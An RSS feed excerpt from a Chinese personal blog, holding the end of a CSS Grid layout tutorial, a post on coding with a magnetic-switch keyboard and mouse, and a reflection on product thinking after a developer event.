&lt;pre&gt;&lt;code&gt;.grid-container {
    grid-template-rows: repeat(3, 1fr);
    grid-template-columns: repeat(3, 1fr);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;&lt;code&gt;gap&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;这也是一个复合属性，由两个属性组成的，分别是&lt;code&gt;row-gap&lt;/code&gt;和&lt;code&gt;column-gap&lt;/code&gt;组成，写法如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.grid-container {
    gap: [row-gap] [column-gap];
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;gap&lt;/code&gt;控制行列间距都是10px的示例写法如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.grid-container {
    gap: 10px 10px;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;等价于以下写法：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.grid-container {
    gap: 10px;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;justify-content&lt;/code&gt;和&lt;code&gt;align-content&lt;/code&gt;属性与&lt;code&gt;Flex&lt;/code&gt;布局一致&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;项目&lt;/h2&gt;
&lt;h3&gt;属性&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;grid-row&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;grid-column&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;grid-area&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;书写格式&lt;/h3&gt;
&lt;h4&gt;&lt;code&gt;grid-row&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;这也是一个复合属性，由两个属性组成，分别是&lt;code&gt;grid-row-start&lt;/code&gt;和&lt;code&gt;grid-row-end&lt;/code&gt;组成，写法如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.grid-item {
    grid-row: [grid-row-start] / [grid-row-end];
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;假设一个场景，控制一个项目宽2个单元格，起始为第三条网格线。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.grid-item {
    grid-row-start: 3;
    grid-row-end: 5;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;等价于以下写法：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.grid-item {
    grid-row: 3 / 5;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;&lt;code&gt;grid-column&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;这也是一个复合属性，由两个属性组成，分别是&lt;code&gt;grid-column-start&lt;/code&gt;和&lt;code&gt;grid-column-end&lt;/code&gt;组成，写法如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.grid-item {
    grid-column: [grid-column-start] / [grid-column-end];
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;假设一个场景，控制一个项目长3个单元格，起始为第三条网格线。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.grid-item {
    grid-row-start: 3;
    grid-row-end: 6;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;等价于以下写法：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.grid-item {
    grid-column: 3 / 6;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;&lt;code&gt;grid-area&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;这也是一个复合属性，将&lt;code&gt;grid-row&lt;/code&gt;和&lt;code&gt;grid-column&lt;/code&gt;这两个属性合并到一起，写法如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.grid-item {
    grid-area: [grid-row-start] / [grid-column-start] / [grid-row-end] / [grid-column-end];
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;实践案例：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;简单的网页页面排版：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
  &amp;lt;head&amp;gt;
    &amp;lt;style&amp;gt;
      * {
        margin: 0;
        padding: 0;
      }
      .container {
        width: 80%;
        height: 80vh;
        margin: 10px auto 0;
        box-sizing: border-box;
      }
      .header,
      .main,
      .sidebar,
      .footer {
        display: flex;
        justify-content: center;
        align-items: center;
        font-size: 1.5em;
        color: #fff;
        border-radius: 8px;
      }
      .header {
        background-color: #667eea;
      }
      .main {
        background-color: #43e97b;
      }
      .sidebar {
        background-color: #ea7a9a;
      }
      .footer {
        background-color: #30cfd0;
      }
      /* Grid布局 */
      .container {
        display: grid;
        grid-template: 80px 1fr 60px / 2fr 1fr;
        gap: 10px;
      }
      .header {
        grid-column: 1 / -1;
      }
      .footer {
        grid-column: 1 / -1;
      }
    &amp;lt;/style&amp;gt;
  &amp;lt;/head&amp;gt;
  &amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;container&quot;&amp;gt;
      &amp;lt;div class=&quot;header&quot;&amp;gt;Header&amp;lt;/div&amp;gt;
      &amp;lt;div class=&quot;main&quot;&amp;gt;Main Content&amp;lt;/div&amp;gt;
      &amp;lt;div class=&quot;sidebar&quot;&amp;gt;Sidebar&amp;lt;/div&amp;gt;
      &amp;lt;div class=&quot;footer&quot;&amp;gt;Footer&amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
  &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>磁轴与代码</title><link>https://ivoinkwell.xyz/posts/specks/magnetic-switch-keyboard-coding/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/specks/magnetic-switch-keyboard-coding/</guid><pubDate>Sat, 21 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;最初印象&lt;/h2&gt;
&lt;p&gt;如果换作之前的我，磁轴一定是因为打游戏而存在的轴，但是现在在禁不住狼蛛WIN 68HE磁轴键盘诱惑购买之后，我觉得对我写代码反而有更多的帮助。&lt;/p&gt;
&lt;h2&gt;键鼠参数与配置&lt;/h2&gt;
&lt;h3&gt;键盘（狼蛛WIN 68HE标准版）&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;参数项&lt;/th&gt;
&lt;th&gt;标准版 (Standard)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;外壳材质&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ABS 塑料&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;定位板&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;黑色铝合金&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;搭载轴体&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;灰木磁轴&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;回报率&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;8000Hz (8K)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;精度 (RT)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;最低 0.04mm&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;按键数量&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;68键 (65% 配列)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;消音结构&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;5层声音包填充&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;连接方式&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;有线 Type-C&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;驱动支持&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://hed.aulacn.com/&quot;&gt;网页在线驱动&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;鼠标（狼蛛SC580 SE）&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;参数项&lt;/th&gt;
&lt;th&gt;详细配置&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;连接模式&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;三模：USB Type-C 有线、2.4GHz 无线、蓝牙 5.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;传感器&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;光学传感器 (部分信息指出是 PAW3311)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DPI (分辨率)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;800-1600-2400-3200-6400-12000&lt;/strong&gt; DPI (6级可调，可通过软件自定义)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;回报率 (Polling Rate)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;125Hz / 500Hz / &lt;strong&gt;1000Hz&lt;/strong&gt; (可调)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;按键数量&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;6 个可编程按键&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;按键寿命&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;官方标称 &lt;strong&gt;1000万次点击寿命&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;电池容量&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;内置 &lt;strong&gt;500mAh&lt;/strong&gt; 可充电锂电池&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;续航时间&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;约 10-14 天 (每天使用 5 小时，关闭 RGB 背光情况下)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;鼠标重量&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;约 &lt;strong&gt;81.9克&lt;/strong&gt; (轻量化设计)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;尺寸&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;119 x 62 x 38 ±0.2mm&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;人体工学&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;符合人体工学的右手设计&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;驱动软件&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;支持宏编辑和按键自定义（Windows 系统下可用）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;与代码&lt;/h2&gt;
&lt;p&gt;对于我来说一个键盘的好与劣无非就是响应速度，打字时候的手感与长时间打字后手指是否非常容易疲惫。&lt;/p&gt;
&lt;h3&gt;响应&lt;/h3&gt;
&lt;p&gt;在经过一段时间的使用下来我发现这些适用于游戏的键盘对于响应速度有很高的要求，所以对于使用Atlas OS这样为游戏精简优化的系统，对于写代码上面效果有很显著的改善一点——代码在敲下和编辑器上的响应几乎是同时的。&lt;/p&gt;
&lt;h3&gt;手感&lt;/h3&gt;
&lt;p&gt;如果实在的说，整体的按压力度和我之前使用的红轴差不了多少，但是要比之前使用红轴的劣质键盘响应速度提升了不少，我不需要使用非常大的力气就可以完成按键的按下，或许这也是磁轴的魅力，毕竟在打游戏的时候也可以根据磁轴的按下深度去定制游戏的相关响应。&lt;/p&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;2026年对于我来说最珍贵也就是这三个礼物——小米Watch5，狼蛛的键鼠以及Redmi的蓝牙音箱。Watch5和Redmi的音箱都是今年生日礼物，但是狼蛛的键盘确实我台式机的最后一块拼图，希望在2026年能够更顺利的进行程序的编写，尽自己所能去写一点拿得出手的开源项目。&lt;/p&gt;
</content:encoded></item><item><title>2025.10.25反思</title><link>https://ivoinkwell.xyz/posts/specks/2025-10-25-reflection/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/specks/2025-10-25-reflection/</guid><pubDate>Sat, 25 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;在参加了TRAE Friends@南京的活动之后，我发现我所缺失的不是代码能力和学习能力，而是对于产品和软件有自己的思考。&lt;/p&gt;
&lt;p&gt;我承认我自己确实不会是一个愿意为了方便牺牲任何性能的人。且我对目录，软件都有着别人看起来甚至是有一点过于严谨。如果是Markdown文档编辑的软件我甚至会不喜欢任何多余的主题，就是这样的行为也被我的朋友称之为“赛博洁癖”。但是就是因为这样，我才发现根本就不可能会有什么很好的创意在我这里诞生。&lt;/p&gt;
&lt;p&gt;之前看到过一个开源软件，名字是&lt;code&gt;Chronnote&lt;/code&gt;，这是一个AI驱动的笔记软件。不得不说想法确实是非常新颖，但是这个软件我在第二个版本开始就再也没有用过，毕竟这样一个软件的开销自然是不小的，相比于&lt;code&gt;Typora&lt;/code&gt;，我觉得没有任何一个功能是我觉得值得我留下的，就像之前没有找到&lt;code&gt;Typora&lt;/code&gt;免费使用的方法的时候我一直都是使用的&lt;code&gt;Obsdian&lt;/code&gt;这个笔记软件，但是我真的有了&lt;code&gt;Typora&lt;/code&gt;之后我感觉&lt;code&gt;Obsdian&lt;/code&gt;的那些别人吹的天花乱坠的功能在我这里狗屁不是。不是说这个软件不好用之类的，主要是如果占用资源&lt;code&gt;200MB&lt;/code&gt;就能右很好的体验去写好一个Markdown文档我是断然不会去使用更大的资源去加上那些我觉得可能一个月都用不上几回的功能。&lt;/p&gt;
&lt;p&gt;但是去了之后，我发现很多人做出来的功能都是我从来不会去使用甚至我觉得毫无意义的东西。就比如说寻找搭子的软件，这个软件从我的角度上来说就是一无是处，但是我却不能以偏概全的去否定这个软件在女生市场上的普及。我眼中似乎只有效率工具，对于玄学，算命，批改作业平台等等的东西觉得都是扯淡，毕竟我更喜欢的是两个效率工具的叠加使用去完成某种任务，或者是改变原有效率工具的使用用途，就比如微信，QQ上寻找搭子来替代别的软件，将Markdown编辑代替Word完成文档的撰写。但是我只从我的视角出发，却忽略了一个重要的东西：&lt;/p&gt;
&lt;h3&gt;市场需求&lt;/h3&gt;
</content:encoded></item></channel></rss>